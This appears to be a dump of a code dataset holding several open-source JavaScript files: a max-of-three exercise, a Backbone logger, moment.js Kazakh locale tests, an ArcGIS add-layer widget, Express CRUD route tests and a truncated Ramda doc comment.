code
stringlengths 2
1.05M
| repo_name
stringlengths 5
114
| path
stringlengths 4
991
| language
stringclasses 1
value | license
stringclasses 15
values | size
int32 2
1.05M
|
---|---|---|---|---|---|
function findBiggest(args) {
var firstNum = +args[0],
secondNum = +args[1],
thirdNum = +args[2],
biggestNum = firstNum;
if (firstNum >= secondNum) {
if (firstNum >= thirdNum) {
biggestNum = firstNum;
} else {
biggestNum = thirdNum;
}
} else if (firstNum <= secondNum) {
if (secondNum >= thirdNum) {
biggestNum = secondNum;
} else {
biggestNum = thirdNum;
}
}
return biggestNum;
}
console.log(findBiggest(['5', '2', '2']));
console.log(findBiggest(['-2', '-2', '1']));
console.log(findBiggest(['-2', '4', '3']));
console.log(findBiggest(['0', '-2.5', '5']));
console.log(findBiggest(['-0.1', '-0.5', '-1.1']));
// Write a script that finds the biggest of three numbers. Use nested if statements.
// Input
// The input will consist of an array containing three values represented as strings
// Output
// The output should be a single line containing a number
// Constraints
// Time limit: 0.2s
// Memory limit: 16MB
// Sample tests
// Input Output
// 5
// 2
// 2 5
// -2
// -2
// 1 1
// -2
// 4
// 3 4
// 0
// -2.5
// 5 5
// -0.1
// -0.5
// -1.1 -0.1 | ganchoandreev/Telerik-Academy | JS Fundamentals/03. Conditional Statements/03.BiggestOfThree.js | JavaScript | mit | 1,101 |
'use strict';
var $ = require('jquery');
var _ = require('underscore');
var Backbone = require('backbone');
var moment = require('moment');
var Log = function (ships) {
this.ships = ships;
this.listenTo(this.ships, 'all', this.log);
var level = 1;
this.types = {
'socket:init': function (collection) {
if (level >= 2) console.log('init', collection.length);
},
'socket:sync': function (collection) {
if (level >= 2) console.log('sync', collection.length);
},
'socket:update': function (model, collection) {
if (level >= 1) console.log('update', model.toTitle() + ' (' + model.id + ')', model.get('position').get('distancemoved'));
},
'socket:add': function (model, collection) {
if (level >= 1) console.log('add', model.toTitle() + ' (' + model.id + ')', model.get('position').get('distancemoved'));
},
'socket:expire': function (model, collection) {
if (level >= 1) console.log('expire', model.toTitle() + ' (' + model.id + ')');
},
'remove': function (model, collection) {
if (level >= 2) console.log('remove', model.toTitle(), model.get('datetime'));
},
'reset': function (collection) {
if (level >= 2) console.log('reset', collection.length);
},
'change': function (collection) {
if (level >= 5) console.log(arguments);
}
};
};
_.extend(Log.prototype, Backbone.Events, {
log: function (type) {
if (_.keys(this.types).indexOf(type) < 0) {
return;
}
var args = Array.prototype.slice.call(arguments);
args.shift();
this.types[type].apply(this, args);
}
})
module.exports = Log;
| 3epnm/ais-server | app/log.js | JavaScript | mit | 1,638 |
import {test} from '../qunit';
import {localeModule} from '../qunit-locale';
import moment from '../../moment';
localeModule('kk');
test('parse', function (assert) {
var tests = 'қаңтар қаң_ақпан ақп_наурыз нау_сәуір сәу_мамыр мам_маусым мау_шілде шіл_тамыз там_қыркүйек қыр_қазан қаз_қараша қар_желтоқсан жел'.split('_'), i;
function equalTest(input, mmm, i) {
assert.equal(moment(input, mmm).month(), i, input + ' should be month ' + (i + 1));
}
for (i = 0; i < 12; i++) {
tests[i] = tests[i].split(' ');
equalTest(tests[i][0], 'MMM', i);
equalTest(tests[i][1], 'MMM', i);
equalTest(tests[i][0], 'MMMM', i);
equalTest(tests[i][1], 'MMMM', i);
equalTest(tests[i][0].toLocaleLowerCase(), 'MMMM', i);
equalTest(tests[i][1].toLocaleLowerCase(), 'MMMM', i);
equalTest(tests[i][0].toLocaleUpperCase(), 'MMMM', i);
equalTest(tests[i][1].toLocaleUpperCase(), 'MMMM', i);
}
});
test('format', function (assert) {
var a = [
['dddd, Do MMMM YYYY, HH:mm:ss', 'жексенбі, 14-ші ақпан 2010, 15:25:50'],
['ddd, hA', 'жек, 3PM'],
['M Mo MM MMMM MMM', '2 2-ші 02 ақпан ақп'],
['YYYY YY', '2010 10'],
['D Do DD', '14 14-ші 14'],
['d do dddd ddd dd', '0 0-ші жексенбі жек жк'],
['DDD DDDo DDDD', '45 45-ші 045'],
['w wo ww', '7 7-ші 07'],
['h hh', '3 03'],
['H HH', '15 15'],
['m mm', '25 25'],
['s ss', '50 50'],
['a A', 'pm PM'],
['[жылдың] DDDo [күні]', 'жылдың 45-ші күні'],
['LTS', '15:25:50'],
['L', '14.02.2010'],
['LL', '14 ақпан 2010'],
['LLL', '14 ақпан 2010 15:25'],
['LLLL', 'жексенбі, 14 ақпан 2010 15:25'],
['l', '14.2.2010'],
['ll', '14 ақп 2010'],
['lll', '14 ақп 2010 15:25'],
['llll', 'жек, 14 ақп 2010 15:25']
],
b = moment(new Date(2010, 1, 14, 15, 25, 50, 125)),
i;
for (i = 0; i < a.length; i++) {
assert.equal(b.format(a[i][0]), a[i][1], a[i][0] + ' ---> ' + a[i][1]);
}
});
test('format ordinal', function (assert) {
assert.equal(moment([2011, 0, 1]).format('DDDo'), '1-ші', '1st');
assert.equal(moment([2011, 0, 2]).format('DDDo'), '2-ші', '2nd');
assert.equal(moment([2011, 0, 3]).format('DDDo'), '3-ші', '3rd');
assert.equal(moment([2011, 0, 4]).format('DDDo'), '4-ші', '4th');
assert.equal(moment([2011, 0, 5]).format('DDDo'), '5-ші', '5th');
assert.equal(moment([2011, 0, 6]).format('DDDo'), '6-шы', '6th');
assert.equal(moment([2011, 0, 7]).format('DDDo'), '7-ші', '7th');
assert.equal(moment([2011, 0, 8]).format('DDDo'), '8-ші', '8th');
assert.equal(moment([2011, 0, 9]).format('DDDo'), '9-шы', '9th');
assert.equal(moment([2011, 0, 10]).format('DDDo'), '10-шы', '10th');
assert.equal(moment([2011, 0, 11]).format('DDDo'), '11-ші', '11th');
assert.equal(moment([2011, 0, 12]).format('DDDo'), '12-ші', '12th');
assert.equal(moment([2011, 0, 13]).format('DDDo'), '13-ші', '13th');
assert.equal(moment([2011, 0, 14]).format('DDDo'), '14-ші', '14th');
assert.equal(moment([2011, 0, 15]).format('DDDo'), '15-ші', '15th');
assert.equal(moment([2011, 0, 16]).format('DDDo'), '16-шы', '16th');
assert.equal(moment([2011, 0, 17]).format('DDDo'), '17-ші', '17th');
assert.equal(moment([2011, 0, 18]).format('DDDo'), '18-ші', '18th');
assert.equal(moment([2011, 0, 19]).format('DDDo'), '19-шы', '19th');
assert.equal(moment([2011, 0, 20]).format('DDDo'), '20-шы', '20th');
assert.equal(moment([2011, 0, 21]).format('DDDo'), '21-ші', '21st');
assert.equal(moment([2011, 0, 22]).format('DDDo'), '22-ші', '22nd');
assert.equal(moment([2011, 0, 23]).format('DDDo'), '23-ші', '23rd');
assert.equal(moment([2011, 0, 24]).format('DDDo'), '24-ші', '24th');
assert.equal(moment([2011, 0, 25]).format('DDDo'), '25-ші', '25th');
assert.equal(moment([2011, 0, 26]).format('DDDo'), '26-шы', '26th');
assert.equal(moment([2011, 0, 27]).format('DDDo'), '27-ші', '27th');
assert.equal(moment([2011, 0, 28]).format('DDDo'), '28-ші', '28th');
assert.equal(moment([2011, 0, 29]).format('DDDo'), '29-шы', '29th');
assert.equal(moment([2011, 0, 30]).format('DDDo'), '30-шы', '30th');
assert.equal(moment([2011, 0, 31]).format('DDDo'), '31-ші', '31st');
});
test('format month', function (assert) {
var expected = 'қаңтар қаң_ақпан ақп_наурыз нау_сәуір сәу_мамыр мам_маусым мау_шілде шіл_тамыз там_қыркүйек қыр_қазан қаз_қараша қар_желтоқсан жел'.split('_'), i;
for (i = 0; i < expected.length; i++) {
assert.equal(moment([2011, i, 1]).format('MMMM MMM'), expected[i], expected[i]);
}
});
test('format week', function (assert) {
var expected = 'жексенбі жек жк_дүйсенбі дүй дй_сейсенбі сей сй_сәрсенбі сәр ср_бейсенбі бей бй_жұма жұм жм_сенбі сен сн'.split('_'), i;
for (i = 0; i < expected.length; i++) {
assert.equal(moment([2011, 0, 2 + i]).format('dddd ddd dd'), expected[i], expected[i]);
}
});
test('from', function (assert) {
var start = moment([2007, 1, 28]);
assert.equal(start.from(moment([2007, 1, 28]).add({s: 44}), true), 'бірнеше секунд', '44 seconds = a few seconds');
assert.equal(start.from(moment([2007, 1, 28]).add({s: 45}), true), 'бір минут', '45 seconds = a minute');
assert.equal(start.from(moment([2007, 1, 28]).add({s: 89}), true), 'бір минут', '89 seconds = a minute');
assert.equal(start.from(moment([2007, 1, 28]).add({s: 90}), true), '2 минут', '90 seconds = 2 minutes');
assert.equal(start.from(moment([2007, 1, 28]).add({m: 44}), true), '44 минут', '44 minutes = 44 minutes');
assert.equal(start.from(moment([2007, 1, 28]).add({m: 45}), true), 'бір сағат', '45 minutes = an hour');
assert.equal(start.from(moment([2007, 1, 28]).add({m: 89}), true), 'бір сағат', '89 minutes = an hour');
assert.equal(start.from(moment([2007, 1, 28]).add({m: 90}), true), '2 сағат', '90 minutes = 2 hours');
assert.equal(start.from(moment([2007, 1, 28]).add({h: 5}), true), '5 сағат', '5 hours = 5 hours');
assert.equal(start.from(moment([2007, 1, 28]).add({h: 21}), true), '21 сағат', '21 hours = 21 hours');
assert.equal(start.from(moment([2007, 1, 28]).add({h: 22}), true), 'бір күн', '22 hours = a day');
assert.equal(start.from(moment([2007, 1, 28]).add({h: 35}), true), 'бір күн', '35 hours = a day');
assert.equal(start.from(moment([2007, 1, 28]).add({h: 36}), true), '2 күн', '36 hours = 2 days');
assert.equal(start.from(moment([2007, 1, 28]).add({d: 1}), true), 'бір күн', '1 day = a day');
assert.equal(start.from(moment([2007, 1, 28]).add({d: 5}), true), '5 күн', '5 days = 5 days');
assert.equal(start.from(moment([2007, 1, 28]).add({d: 25}), true), '25 күн', '25 days = 25 days');
assert.equal(start.from(moment([2007, 1, 28]).add({d: 26}), true), 'бір ай', '26 days = a month');
assert.equal(start.from(moment([2007, 1, 28]).add({d: 30}), true), 'бір ай', '30 days = a month');
assert.equal(start.from(moment([2007, 1, 28]).add({d: 43}), true), 'бір ай', '43 days = a month');
assert.equal(start.from(moment([2007, 1, 28]).add({d: 46}), true), '2 ай', '46 days = 2 months');
assert.equal(start.from(moment([2007, 1, 28]).add({d: 74}), true), '2 ай', '75 days = 2 months');
assert.equal(start.from(moment([2007, 1, 28]).add({d: 76}), true), '3 ай', '76 days = 3 months');
assert.equal(start.from(moment([2007, 1, 28]).add({M: 1}), true), 'бір ай', '1 month = a month');
assert.equal(start.from(moment([2007, 1, 28]).add({M: 5}), true), '5 ай', '5 months = 5 months');
assert.equal(start.from(moment([2007, 1, 28]).add({d: 345}), true), 'бір жыл', '345 days = a year');
assert.equal(start.from(moment([2007, 1, 28]).add({d: 548}), true), '2 жыл', '548 days = 2 years');
assert.equal(start.from(moment([2007, 1, 28]).add({y: 1}), true), 'бір жыл', '1 year = a year');
assert.equal(start.from(moment([2007, 1, 28]).add({y: 5}), true), '5 жыл', '5 years = 5 years');
});
test('suffix', function (assert) {
assert.equal(moment(30000).from(0), 'бірнеше секунд ішінде', 'prefix');
assert.equal(moment(0).from(30000), 'бірнеше секунд бұрын', 'suffix');
});
test('now from now', function (assert) {
assert.equal(moment().fromNow(), 'бірнеше секунд бұрын', 'now from now should display as in the past');
});
test('fromNow', function (assert) {
assert.equal(moment().add({s: 30}).fromNow(), 'бірнеше секунд ішінде', 'in a few seconds');
assert.equal(moment().add({d: 5}).fromNow(), '5 күн ішінде', 'in 5 days');
});
test('calendar day', function (assert) {
var a = moment().hours(12).minutes(0).seconds(0);
assert.equal(moment(a).calendar(), 'Бүгін сағат 12:00', 'today at the same time');
assert.equal(moment(a).add({m: 25}).calendar(), 'Бүгін сағат 12:25', 'Now plus 25 min');
assert.equal(moment(a).add({h: 1}).calendar(), 'Бүгін сағат 13:00', 'Now plus 1 hour');
assert.equal(moment(a).add({d: 1}).calendar(), 'Ертең сағат 12:00', 'tomorrow at the same time');
assert.equal(moment(a).subtract({h: 1}).calendar(), 'Бүгін сағат 11:00', 'Now minus 1 hour');
assert.equal(moment(a).subtract({d: 1}).calendar(), 'Кеше сағат 12:00', 'yesterday at the same time');
});
test('calendar next week', function (assert) {
var i, m;
for (i = 2; i < 7; i++) {
m = moment().add({d: i});
assert.equal(m.calendar(), m.format('dddd [сағат] LT'), 'Today + ' + i + ' days current time');
m.hours(0).minutes(0).seconds(0).milliseconds(0);
assert.equal(m.calendar(), m.format('dddd [сағат] LT'), 'Today + ' + i + ' days beginning of day');
m.hours(23).minutes(59).seconds(59).milliseconds(999);
assert.equal(m.calendar(), m.format('dddd [сағат] LT'), 'Today + ' + i + ' days end of day');
}
});
test('calendar last week', function (assert) {
var i, m;
for (i = 2; i < 7; i++) {
m = moment().subtract({d: i});
assert.equal(m.calendar(), m.format('[Өткен аптаның] dddd [сағат] LT'), 'Today - ' + i + ' days current time');
m.hours(0).minutes(0).seconds(0).milliseconds(0);
assert.equal(m.calendar(), m.format('[Өткен аптаның] dddd [сағат] LT'), 'Today - ' + i + ' days beginning of day');
m.hours(23).minutes(59).seconds(59).milliseconds(999);
assert.equal(m.calendar(), m.format('[Өткен аптаның] dddd [сағат] LT'), 'Today - ' + i + ' days end of day');
}
});
test('calendar all else', function (assert) {
var weeksAgo = moment().subtract({w: 1}),
weeksFromNow = moment().add({w: 1});
assert.equal(weeksAgo.calendar(), weeksAgo.format('L'), '1 week ago');
assert.equal(weeksFromNow.calendar(), weeksFromNow.format('L'), 'in 1 week');
weeksAgo = moment().subtract({w: 2});
weeksFromNow = moment().add({w: 2});
assert.equal(weeksAgo.calendar(), weeksAgo.format('L'), '2 weeks ago');
assert.equal(weeksFromNow.calendar(), weeksFromNow.format('L'), 'in 2 weeks');
});
test('weeks year starting sunday formatted', function (assert) {
assert.equal(moment([2012, 0, 1]).format('w ww wo'), '1 01 1-ші', 'Jan 1 2012 should be week 1');
assert.equal(moment([2012, 0, 2]).format('w ww wo'), '2 02 2-ші', 'Jan 2 2012 should be week 2');
assert.equal(moment([2012, 0, 8]).format('w ww wo'), '2 02 2-ші', 'Jan 8 2012 should be week 2');
assert.equal(moment([2012, 0, 9]).format('w ww wo'), '3 03 3-ші', 'Jan 9 2012 should be week 3');
assert.equal(moment([2012, 0, 15]).format('w ww wo'), '3 03 3-ші', 'Jan 15 2012 should be week 3');
});
| joelmheim/moment | src/test/locale/kk.js | JavaScript | mit | 13,513 |
///////////////////////////////////////////////////////////////////////////
// Copyright © 2015 Softwhere Solutions
// All Rights Reserved.
//
// Licensed under the Apache License Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
///////////////////////////////////////////////////////////////////////////
/*global console, define, dojo */
define(["dojo/_base/declare",
"dojo/_base/lang",
"dojo/_base/array",
"jimu/BaseWidget",
"dojo/on",
"./LayerListView",
"esri/layers/ArcGISDynamicMapServiceLayer",
"esri/layers/ArcGISTiledMapServiceLayer",
"esri/layers/ArcGISImageServiceLayer",
"esri/layers/FeatureLayer",
"esri/layers/ImageParameters",
"esri/dijit/PopupTemplate",
"esri/SpatialReference",
"esri/geometry/Extent",
"esri/request",
"esri/IdentityManager"
],
function (declare,
lang,
array,
BaseWidget,
on,
LayerListView,
ArcGISDynamicMapServiceLayer,
ArcGISTiledMapServiceLayer,
ArcGISImageServiceLayer,
FeatureLayer,
ImageParameters,
PopupTemplate,
SpatialReference,
Extent,
esriRequest,
esriId) {
//To create a widget, you need to derive from BaseWidget.
return declare([BaseWidget], {
//please note that this property is be set by the framework when widget is loaded.
//templateString: template,
baseClass: 'jimu-widget-addlayer',
// attach point for the layer list in DOM
layerListBody: null,
//layerListView: Object{}
// A module is responsible for show layers list
layerListView: null,
postCreate: function () {
this.inherited(arguments);
console.log('postCreate');
},
startup: function () {
this.inherited(arguments);
// the layer list binds the checkbox to the isSelected property on each layer
// explicitly defining this property is not required, but is added in LayerListView if not set
array.forEach(this.config.layers, function (layer) {
layer.isSelected = false;
}, this);
this.layerListView = new LayerListView({
layers: this.config.layers
}).placeAt(this.layerListBody);
this.own(on(this.layerListView, "layer-selected", lang.hitch(this, this.onLayerSelected)));
this.own(on(this.layerListView, "layer-unselected", lang.hitch(this, this.onLayerUnselected)));
console.log('AddLayer::startup');
},
/**
* When a layer is selected in the list, add it to the map
* @param {Object} evt event object with layer
*/
onLayerSelected: function (evt) {
var layer = evt.layer;
console.log("AddLayer :: onLayerSelected : ", layer);
this.addLayerToMap(layer);
},
onLayerUnselected: function (evt) {
var layer = evt.layer;
this.removeLayerFromMap(layer);
console.log("AddLayer :: onLayerUnselected : ", layer);
},
/**
* Add the given layer to the map
* @param {Object} layer layer config
*/
addLayerToMap: function (layer) {
console.log('AddLayer :: addLayerToMap :: begin for layer = ', layer);
var layerType = layer.type.toUpperCase();
switch (layerType) {
case "DYNAMIC":
this.addDynamicLayerToMap(layer);
break;
case "FEATURE":
this.addFeatureLayerToMap(layer);
break;
case "TILED":
this.addTiledLayerToMap(layer);
break;
default:
console.warn('AddLayer :: addLayerToMap :: layer = ', layer, ' has an unsupported type');
this.setErrorMessage("The layer has invalid configuration and could not be added. Contact the administrator.");
break;
}
},
/**
* Add a new Dynamic layer to the map for the given layer settings
* @param {Object} layerCfg the layer config object
*/
addDynamicLayerToMap: function (layerCfg) {
var options,
layerToAdd,
infoTemplates;
options = this.getOptionsForDynamicLayer(layerCfg);
layerToAdd = new ArcGISDynamicMapServiceLayer(layerCfg.url, options);
layerToAdd.name = layerCfg.name;
// define popup
if (layerCfg.popup) {
try {
infoTemplates = this.getInfoTemplatesForLayer(layerCfg);
if (infoTemplates) {
layerToAdd.setInfoTemplates(infoTemplates);
console.log("AddLayer :: addDynamicLayerToMap : infoTemplates set for layer ", layerCfg);
}
} catch (ex) {
this.setErrorMessage("Error creating popup for layer. layer will not be clickable.");
console.error("AddLayer :: addDynamicLayerToMap : error creating infoTemplates for layer ", layerCfg, ex);
}
}
if (layerCfg.disableclientcaching) {
layerToAdd.setDisableClientCaching(true);
}
this.own(layerToAdd.on("load", lang.hitch(this,
function () {
try {
// set visible layers after load
// To display no visible layers specify an array with a value of -1
var layerIdsToShow = [-1];
if (layerCfg.visiblelayers) {
layerIdsToShow = this.csvToInts(layerCfg.visiblelayers);
console.log("AddLayer :: addDynamicLayerToMap : set visible sublayers to ", layerIdsToShow);
}
layerToAdd.setVisibleLayers(layerIdsToShow);
this.onLayerAdded(layerCfg);
} catch (ex) {
this.setErrorMessage("Error loading the layer.");
console.error("AddLayer :: addDynamicLayerToMap : error setting visible sublayers for layer ", layerCfg, ex);
}
})));
this.map.addLayer(layerToAdd);
console.log('AddLayer :: addDynamicLayerToMap', layerCfg);
},
/**
* Add a new Feature layer to the map for the given layer settings
* @param {Object} layerCfg the layer config object
*/
addFeatureLayerToMap: function (layerCfg) {
var options,
layerToAdd,
infoTemplates;
options = this.getOptionsForFeatureLayer(layerCfg);
layerToAdd = new FeatureLayer(layerCfg.url, options);
layerToAdd.name = layerCfg.name;
this.own(layerToAdd.on("load", lang.hitch(this, this.onLayerAdded, layerCfg)));
this.map.addLayer(layerToAdd);
console.log('AddLayer :: addFeatureLayerToMap', layerCfg);
},
/**
* Add a new Tiled layer to the map for the given layer settings
* @param {Object} layerCfg the layer config object
*/
addTiledLayerToMap: function (layerCfg) {
var options,
layerToAdd,
infoTemplates;
options = this.getOptionsForTiledLayer(layerCfg);
layerToAdd = new ArcGISTiledMapServiceLayer(layerCfg.url, options);
layerToAdd.name = layerCfg.name;
// define popup
if (layerCfg.popup) {
try {
infoTemplates = this.getInfoTemplatesForLayer(layerCfg);
if (infoTemplates) {
layerToAdd.setInfoTemplates(infoTemplates);
console.log("AddLayer :: addTiledLayerToMap : infoTemplates set for layer ", layerCfg);
}
} catch (ex) {
this.setErrorMessage("Error creating popup for layer. layer will not be clickable.");
console.error("AddLayer :: addTiledLayerToMap : error creating infoTemplates for layer ", layerCfg, ex);
}
}
this.own(layerToAdd.on("load", lang.hitch(this, this.onLayerAdded, layerCfg)));
this.map.addLayer(layerToAdd);
console.log('AddLayer :: addTiledLayerToMap', layerCfg);
},
/**
* return an object that can be used in an ArcGIS Dynamic Layer constructor with properties from the given layer configuration
* @param {Object} layer layer configuration object
*/
getOptionsForDynamicLayer: function (layer) {
var options = {},
ip;
if (layer.hasOwnProperty('opacity')) {
options.opacity = layer.opacity;
}
if (layer.hasOwnProperty('visible') && !layer.visible) {
options.visible = false;
} else {
options.visible = true;
}
if (layer.name) {
options.id = layer.name;
}
if (layer.imageformat) {
ip = new ImageParameters();
ip.format = layer.imageformat;
if (layer.hasOwnProperty('imagedpi')) {
ip.dpi = layer.imagedpi;
}
options.imageParameters = ip;
}
return options;
},
/**
* return an object that can be used in an ArcGIS Tiled Layer constructor with properties from the given layer configuration
* @param {Object} layer layer configuration object
*/
getOptionsForTiledLayer: function (layer) {
var options = {};
if (layer.hasOwnProperty('opacity')) {
options.opacity = layer.opacity;
}
if (layer.hasOwnProperty('visible') && !layer.visible) {
options.visible = false;
} else {
options.visible = true;
}
if (layer.name) {
options.id = layer.name;
}
if (layer.displayLevels) {
options.displayLevels = layer.displayLevels;
}
if (layer.hasOwnProperty('autorefresh')) {
options.refreshInterval = layer.autorefresh;
}
return options;
},
/**
* return an object that can be used in the ArcGIS Feature Layer constructor with properties from the given layer configuration
* @param {Object} layer layer configuration object
*/
getOptionsForFeatureLayer: function (layer) {
var options = {},
modeTextToNumber;
if (layer.hasOwnProperty('opacity')) {
options.opacity = layer.opacity;
}
if (layer.hasOwnProperty('visible') && !layer.visible) {
options.visible = false;
} else {
options.visible = true;
}
if (layer.name) {
options.id = layer.name;
}
if (layer.popup) {
options.infoTemplate = new PopupTemplate(layer.popup);
}
modeTextToNumber = function (modeString) {
var mode = 0;
switch (modeString) {
case "snapshot":
mode = 0;
break;
case "ondemand":
mode = 1;
break;
case "selection":
mode = 2;
break;
}
return mode;
};
if (layer.hasOwnProperty('mode')) {
options.mode = modeTextToNumber(layer.mode);
}
options.outFields = ['*'];
if (layer.hasOwnProperty('autorefresh')) {
options.refreshInterval = layer.autorefresh;
}
if (layer.hasOwnProperty('showLabels')) {
options.showLabels = true;
}
return options;
},
getInfoTemplatesForLayer: function (layerCfg) {
if (!layerCfg.popup) {
console.log("layer has no popup defined ", layerCfg);
return null;
}
// create infoTemplates object with each template having unique layerId
var infoTemplates = {};
array.forEach(layerCfg.popup.infoTemplates, function (tpl) {
var popupInfo = {};
popupInfo.title = tpl.title;
popupInfo.description = tpl.description || null;
if (tpl.fieldInfos) {
popupInfo.fieldInfos = tpl.fieldInfos;
}
infoTemplates[tpl.layerId] = {
infoTemplate: new PopupTemplate(popupInfo)
};
});
return infoTemplates;
},
/**
* Remove the given layer to the map
* @param {Object} layer layer config
*/
removeLayerFromMap: function (layer) {
console.log('AddLayer :: removeLayerFromMap :: begin for layer = ', layer);
var layerToRemove = this.map.getLayer(layer.name);
this.own(this.map.on("layer-remove", lang.hitch(this, this.onLayerRemoved, layer)));
this.map.removeLayer(layerToRemove);
},
/**
* convert comma-separated value string of integers to array
* @param {String} csv comma separated value string
*/
csvToInts: function (csv) {
var strings,
result;
strings = csv.split(',');
result = array.map(strings, function (value) {
return parseInt(value, 10);
}, this);
console.log('AddLayer :: csvToInts : from ', csv, " to ", result);
return result;
},
onLayerAdded: function (layer) {
this.setSuccessMessage("Map layer added.");
},
onLayerRemoved: function (layer) {
this.setSuccessMessage("Map layer removed.");
},
setSuccessMessage: function (message) {
this.message.innerHTML = '<div style="color:green; width: 100%;"><b>' + message + '</b></div>';
},
/**
* display error message
* @param {String} message text to display
*/
setErrorMessage: function (message) {
this.message.innerHTML = '<div style="color:red; width: 100%;"><b>' + message + '</b></div>';
},
onOpen: function () {
console.log('onOpen');
},
onClose: function () {
console.log('onClose');
}
});
}); | cmccullough2/cmv-wab-widgets | widgets/AddLayer/Widget.js | JavaScript | mit | 16,830 |
'use strict';
var should = require('should'),
request = require('supertest'),
app = require('../../server'),
mongoose = require('mongoose'),
User = mongoose.model('User'),
Delivery = mongoose.model('Delivery'),
agent = request.agent(app);
/**
* Globals
*/
var credentials, user, delivery;
/**
* Delivery routes tests
*/
describe('Delivery CRUD tests', function() {
beforeEach(function(done) {
// Create user credentials
credentials = {
username: 'username',
password: 'password'
};
// Create a new user
user = new User({
firstName: 'Full',
lastName: 'Name',
displayName: 'Full Name',
email: '[email protected]',
username: credentials.username,
password: credentials.password,
provider: 'local'
});
// Save a user to the test db and create new Delivery
user.save(function() {
delivery = {
name: 'Delivery Name'
};
done();
});
});
it('should be able to save Delivery instance if logged in', function(done) {
agent.post('/auth/signin')
.send(credentials)
.expect(200)
.end(function(signinErr, signinRes) {
// Handle signin error
if (signinErr) done(signinErr);
// Get the userId
var userId = user.id;
// Save a new Delivery
agent.post('/deliveries')
.send(delivery)
.expect(200)
.end(function(deliverySaveErr, deliverySaveRes) {
// Handle Delivery save error
if (deliverySaveErr) done(deliverySaveErr);
// Get a list of Deliveries
agent.get('/deliveries')
.end(function(deliveriesGetErr, deliveriesGetRes) {
// Handle Delivery save error
if (deliveriesGetErr) done(deliveriesGetErr);
// Get Deliveries list
var deliveries = deliveriesGetRes.body;
// Set assertions
(deliveries[0].user._id).should.equal(userId);
(deliveries[0].name).should.match('Delivery Name');
// Call the assertion callback
done();
});
});
});
});
it('should not be able to save Delivery instance if not logged in', function(done) {
agent.post('/deliveries')
.send(delivery)
.expect(401)
.end(function(deliverySaveErr, deliverySaveRes) {
// Call the assertion callback
done(deliverySaveErr);
});
});
it('should not be able to save Delivery instance if no name is provided', function(done) {
// Invalidate name field
delivery.name = '';
agent.post('/auth/signin')
.send(credentials)
.expect(200)
.end(function(signinErr, signinRes) {
// Handle signin error
if (signinErr) done(signinErr);
// Get the userId
var userId = user.id;
// Save a new Delivery
agent.post('/deliveries')
.send(delivery)
.expect(400)
.end(function(deliverySaveErr, deliverySaveRes) {
// Set message assertion
(deliverySaveRes.body.message).should.match('Please fill Delivery name');
// Handle Delivery save error
done(deliverySaveErr);
});
});
});
it('should be able to update Delivery instance if signed in', function(done) {
agent.post('/auth/signin')
.send(credentials)
.expect(200)
.end(function(signinErr, signinRes) {
// Handle signin error
if (signinErr) done(signinErr);
// Get the userId
var userId = user.id;
// Save a new Delivery
agent.post('/deliveries')
.send(delivery)
.expect(200)
.end(function(deliverySaveErr, deliverySaveRes) {
// Handle Delivery save error
if (deliverySaveErr) done(deliverySaveErr);
// Update Delivery name
delivery.name = 'WHY YOU GOTTA BE SO MEAN?';
// Update existing Delivery
agent.put('/deliveries/' + deliverySaveRes.body._id)
.send(delivery)
.expect(200)
.end(function(deliveryUpdateErr, deliveryUpdateRes) {
// Handle Delivery update error
if (deliveryUpdateErr) done(deliveryUpdateErr);
// Set assertions
(deliveryUpdateRes.body._id).should.equal(deliverySaveRes.body._id);
(deliveryUpdateRes.body.name).should.match('WHY YOU GOTTA BE SO MEAN?');
// Call the assertion callback
done();
});
});
});
});
it('should be able to get a list of Deliveries if not signed in', function(done) {
// Create new Delivery model instance
var deliveryObj = new Delivery(delivery);
// Save the Delivery
deliveryObj.save(function() {
// Request Deliveries
request(app).get('/deliveries')
.end(function(req, res) {
// Set assertion
res.body.should.be.an.Array.with.lengthOf(1);
// Call the assertion callback
done();
});
});
});
it('should be able to get a single Delivery if not signed in', function(done) {
// Create new Delivery model instance
var deliveryObj = new Delivery(delivery);
// Save the Delivery
deliveryObj.save(function() {
request(app).get('/deliveries/' + deliveryObj._id)
.end(function(req, res) {
// Set assertion
res.body.should.be.an.Object.with.property('name', delivery.name);
// Call the assertion callback
done();
});
});
});
it('should be able to delete Delivery instance if signed in', function(done) {
agent.post('/auth/signin')
.send(credentials)
.expect(200)
.end(function(signinErr, signinRes) {
// Handle signin error
if (signinErr) done(signinErr);
// Get the userId
var userId = user.id;
// Save a new Delivery
agent.post('/deliveries')
.send(delivery)
.expect(200)
.end(function(deliverySaveErr, deliverySaveRes) {
// Handle Delivery save error
if (deliverySaveErr) done(deliverySaveErr);
// Delete existing Delivery
agent.delete('/deliveries/' + deliverySaveRes.body._id)
.send(delivery)
.expect(200)
.end(function(deliveryDeleteErr, deliveryDeleteRes) {
// Handle Delivery error error
if (deliveryDeleteErr) done(deliveryDeleteErr);
// Set assertions
(deliveryDeleteRes.body._id).should.equal(deliverySaveRes.body._id);
// Call the assertion callback
done();
});
});
});
});
it('should not be able to delete Delivery instance if not signed in', function(done) {
// Set Delivery user
delivery.user = user;
// Create new Delivery model instance
var deliveryObj = new Delivery(delivery);
// Save the Delivery
deliveryObj.save(function() {
// Try deleting Delivery
request(app).delete('/deliveries/' + deliveryObj._id)
.expect(401)
.end(function(deliveryDeleteErr, deliveryDeleteRes) {
// Set message assertion
(deliveryDeleteRes.body.message).should.match('User is not logged in');
// Handle Delivery error error
done(deliveryDeleteErr);
});
});
});
afterEach(function(done) {
User.remove().exec();
Delivery.remove().exec();
done();
});
}); | nithinreddygaddam/ScoreNow | app/tests/delivery.server.routes.test.js | JavaScript | mit | 6,828 |
var _curry3 = require('./internal/_curry3');
/**
* Returns a single item by iterating through the list, successively calling the iterator
* function and passing it an accumulator value and the current value from the array, and
* then passing the result to the next call.
*
* Similar to `reduce`, except moves through the input list from the right to the left.
*
* The iterator function receives two values: *(acc, value)*
*
* Note: `R.reduceRight` does not skip deleted or unassigned indices (sparse arrays), unlike
* the native `Array.prototype.reduce` method. For more details on this behavior, see:
* https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduceRight#Description
*
* @func
* @memberOf R
* @since v0.1.0
* @category List
* @sig (a,b -> a) -> a -> [b] -> a
* @param {Function} fn The iterator function. Receives two values, the accumulator and the
* current element from the array.
